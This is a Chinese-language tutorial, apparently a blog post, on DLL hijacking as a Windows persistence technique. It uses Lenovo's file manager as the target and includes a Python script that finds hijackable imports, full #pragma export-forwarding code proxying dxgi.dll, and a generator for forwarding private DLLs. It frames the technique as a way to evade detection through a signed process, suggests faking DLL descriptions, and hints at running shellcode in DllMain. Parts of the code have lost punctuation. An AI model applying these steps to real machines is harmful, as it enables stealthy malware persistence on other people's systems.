DLL劫持技术
dll劫持是Windows平台上的一种经典的持久化技术利用的是系统加载动态链接库dll时搜索顺序的缺陷我们将恶意dll放在目标程序会优先查找的路径下让程序自愿加载并执行dll在安全dll搜索模式下搜索顺序是已加载模块 / KnownDLLsEXE所在目录System32%SystemRoot%\system32Windows%SystemRoot%当前目录CWDPATH当某个程序的dll被成功劫持那么每次在这个程序启动的时候恶意dll都会被执行而且进程的数字签名是有效合规的难以被查杀dll劫持原理dll的搜索顺序自Windows XP SP2后Windows都默认启用安全dll搜索模式无论是静态连接还是动态链接的dll都会按一定顺序去查找需要注意的是传统的dll劫持无法劫持KnowDLLs中的dll首先是其具有内核保护机制其次其加载优先级最高当程序加载某个dll时若该dll在exe目录中存在同名文件则会优先加载该路径下的 DLL而不会继续使用系统目录中的原始dll。攻击者可在程序目录放置同名恶意dll从而实现加载拦截在需要保持程序正常功能的情况下可以通过dll proxyingdll代理技术将原dll的导出函数转发至系统目录中的真实dll实现隐蔽劫持而不影响程序运行如果所劫持的dll其实根本不会用到不会影响可执行文件的正常工作就不需要对其导出表进行转发可劫持dll的寻找学过Windows开发的小伙伴都知道dll的加载模式分为静态链接与动态链接静态连接静态.lib不参与dll加载因此没有办法被劫持。所以我们目标就要放在动态链接上。而动态链接又分为隐式动态链接和显示动态链接隐式动态链接也叫加载时动态链接是PE Loader解析PE文件导入表时需要在进程启动时就要查找、链接显示动态链接也叫运行时动态链接是在代码执行过程中在执行到LoadLibrary/ LoadLibraryEx时才去查找、加载隐式链接的可劫持dll由之前的说明可以知道受内核保护的dll是无法被劫持的所以不管是筛选导入表中的dll还是运行时加载的dll都要排除importpefile,winreg,sys,osdefknown():kwinreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,rSYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)i,s0,set()while1:try:s.add(winreg.EnumValue(k,i)[1].lower())i1exceptOSError:breakreturnsdefimports(p):pepefile.PE(p)return{i.dll.decode().lower()foriingetattr(pe,DIRECTORY_ENTRY_IMPORT,[])}if__name____main__:exesys.argv[1]system32os.path.join(os.environ[SystemRoot],System32)# 所有隐式链接的 DLLall_importsimports(exe)# 受保护不可劫持protectedknown()# 可劫持 导入 - 受保护hijackableall_imports-protected# 分类有系统原版可代理 vs 无系统原版私有/幽灵with_system{dfordinhijackableifos.path.exists(os.path.join(system32,d))}without_systemhijackable-with_systemprint( 可代理劫持System32有同名原版)print(len(with_system),\n\n.join(sorted(with_system)))print(\n 需进一步分析的私有DLLSystem32无原版)print(len(without_system),\n\n.join(sorted(without_system)))我们通过脚本来搜索目标程序的导出表并且筛选。在先前已经说过在可执行文件所在的目录没有搜索到它需要加载的dll就会按顺序往下搜索下一位是system32我们需要做的就是在可执行文件所在目录放入同名恶意dll系统就会按名字优先加载恶意dll有一个关键点有些dll其实是根本不会被用上比如一些废弃的dll即使原程序加载失败也不会影响程序正常运行幽灵劫持。但是其实绝大多数dll都是携带了目标程序所必要的函数如果我们劫持了dll换成恶意代码那程序很有可能就会因为有函数无法导入而崩溃所以除了极少数程序完全容忍的纯可选dll劫持时都必须做函数转发否则要么进程起不来要么中途崩溃我将使用联想文件管家作为目标而测试脚本可以看见是一个很人性化的脚本私有dll的转发后续也会进行演示显式链接的可劫持dll显式链接的dll我们一般使用ProcMon来进行侦察-Process Monitor对于显式链接的dll名字是代码中的字符串例如LoadLibrary(hello.dll)不在PE结构的导入表中在静态分析导入表无法观察到当程序运行到这行代码时才会出发搜索、加载运行时动态链接我们先设置过滤器Process NameisLeFile.exe你的目标进程如何获取不必多说Pathendwith.dll限制为dll文件ResultisNAME NOT FOUND缺失的dllResultisSUCCESS对比分析后续是否会加载成功用于分析dll代理不加也没事我眼睛看不过来就不设置最后一条了~~苦笑~~接着直接启动目标应用主要观察该应用所在目录的dll我一眼就相中了这个后面我去看了不在之前脚本跑出来的列表里面也不在受保护的名单中多看看就行想一下子找到也不太可能为了验证是否这个dll在system32中是否拥有我们修改过滤条件结果显而易见虽然exe所在目录没搜到但在system32中搜到了!这就是一个很好的实验样本实现dll劫持这次我就直接针对显示连接的dll进行劫持其实对于在system32有原版的dll都是如法炮制获取目标dll的导出表什么是导出表这个不会就先熟悉一下PE结构在Windows下可以使用Visual Studio的终端dumpbin /exports C:\Windows\System32\dxgi.dll这一大串就是这个dll所提供的函数转发dll我这里讲解使用连接器#prama转发其他方法还有动态转发、.def文件转发#pragma comment(linker, /EXPORT:CreateDXGIFactoryC:\\Windows\\System32\\dxgi.CreateDXGIFactory)这段代码含义是在这个.dll生成时将/EXPORT:后面的函数导出为转发到System32\dxgi.dll中的同名函数由此看来我们需要生成和原来导出函数一样多的转发预处理指令可以考虑借助工具生成实现的源码也不必多言就是转发所有的原dll导出的函数最后就是正常的DllMain#include windows.h // 注意64位程序必须转发到 System32不是 SysWOW64 #pragma comment(linker, /EXPORT:ApplyCompatResolutionQuirkingC:\\Windows\\System32\\dxgi.ApplyCompatResolutionQuirking) #pragma comment(linker, /EXPORT:CompatStringC:\\Windows\\System32\\dxgi.CompatString) #pragma comment(linker, /EXPORT:CompatValueC:\\Windows\\System32\\dxgi.CompatValue) #pragma comment(linker, /EXPORT:CreateDXGIFactoryC:\\Windows\\System32\\dxgi.CreateDXGIFactory) #pragma comment(linker, /EXPORT:CreateDXGIFactory1C:\\Windows\\System32\\dxgi.CreateDXGIFactory1) #pragma comment(linker, /EXPORT:CreateDXGIFactory2C:\\Windows\\System32\\dxgi.CreateDXGIFactory2) #pragma comment(linker, /EXPORT:DXGID3D10CreateDeviceC:\\Windows\\System32\\dxgi.DXGID3D10CreateDevice) #pragma comment(linker, /EXPORT:DXGID3D10CreateLayeredDeviceC:\\Windows\\System32\\dxgi.DXGID3D10CreateLayeredDevice) #pragma comment(linker, /EXPORT:DXGID3D10GetLayeredDeviceSizeC:\\Windows\\System32\\dxgi.DXGID3D10GetLayeredDeviceSize) #pragma comment(linker, /EXPORT:DXGID3D10RegisterLayersC:\\Windows\\System32\\dxgi.DXGID3D10RegisterLayers) #pragma comment(linker, /EXPORT:DXGIDeclareAdapterRemovalSupportC:\\Windows\\System32\\dxgi.DXGIDeclareAdapterRemovalSupport) #pragma comment(linker, /EXPORT:DXGIDisableVBlankVirtualizationC:\\Windows\\System32\\dxgi.DXGIDisableVBlankVirtualization) #pragma comment(linker, /EXPORT:DXGIDumpJournalC:\\Windows\\System32\\dxgi.DXGIDumpJournal) #pragma comment(linker, /EXPORT:DXGIGetDebugInterface1C:\\Windows\\System32\\dxgi.DXGIGetDebugInterface1) #pragma comment(linker, /EXPORT:DXGIReportAdapterConfigurationC:\\Windows\\System32\\dxgi.DXGIReportAdapterConfiguration) #pragma comment(linker, /EXPORT:PIXBeginCaptureC:\\Windows\\System32\\dxgi.PIXBeginCapture) #pragma comment(linker, /EXPORT:PIXEndCaptureC:\\Windows\\System32\\dxgi.PIXEndCapture) #pragma comment(linker, /EXPORT:PIXGetCaptureStateC:\\Windows\\System32\\dxgi.PIXGetCaptureState) #pragma comment(linker, /EXPORT:SetAppCompatStringPointerC:\\Windows\\System32\\dxgi.SetAppCompatStringPointer) #pragma comment(linker, /EXPORT:UpdateHMDEmulationStatusC:\\Windows\\System32\\dxgi.UpdateHMDEmulationStatus) // BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { if (reason DLL_PROCESS_ATTACH) { MessageBoxA(NULL, 注入成功, 提示, MB_OK | MB_ICONINFORMATION); } // 进阶在此创建线程执行反射注入或Shellcode return TRUE; }安置dll并运行最后编译生成后放到目标exe所在的文件目录运行目标程序注入框先于原程序出来这是正常的dll先于WinMain加载并且弹框会阻塞线程把弹框点掉原程序就正常出来了在ProcExp可以观察到两个不同路径的.dll一个有描述一个没有描述我们的恶意同名dll为了让恶意dll可以伪造描述等字段这样就看不出来了至此就已经完成了整个dll劫持过程私有dll的转发在之前有提过对于程序私有dll无法在system32找到原版我们可以对其重命名为有后缀版本再添加一个与原版同名的恶意dll并将函数转发到重命名后的dll但是我们通过获取导入表有五千多个函数吓哭了编写一个自动化脚本即可批处理这些导出函数然后写入一个.h文件作为dll的头文件进行一起编译importsubprocess,sys,redefparse_exports(dll):cmdfD:\\soft\\vs\\VC\\Tools\\MSVC\\14.41.34120\\bin\\Hostx64\\x64\\dumpbin.exe /exports {dll}outsubprocess.run(cmd,capture_outputTrue,textTrue,shellTrue).stdoutreturnre.findall(r^\s\d\s[0-9A-F]\s[0-9A-F]\s(\S),out,re.MULTILINE)if__name____main__:dll,targetsys.argv[1],sys.argv[2]# target 不带 .dll 后缀例如 o funcs parse_exports(dll)ifnotfuncs:sys.exit(导出解析失败)lines[]forfinfuncs:lines.append(f#pragma comment(linker, /EXPORT:{f}{target}.{f}))withopen(exports.h,w,encodingutf-8)asf:f.write(// 自动生成的转发声明共 {} 条\n.format(len(funcs)))f.write(\n.join(lines))print(f生成 exports.h包含{len(funcs)}个转发条目。)生成头文件.h我们把这个添入VS项目中在其最开始进行导入#include windows.h #include exports.h BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { if (reason DLL_PROCESS_ATTACH) { MessageBoxA(NULL, 私有DLL劫持成功, 提示, MB_OK | MB_ICONINFORMATION); } return TRUE; }编译之后放到目标exe所在目录运行即可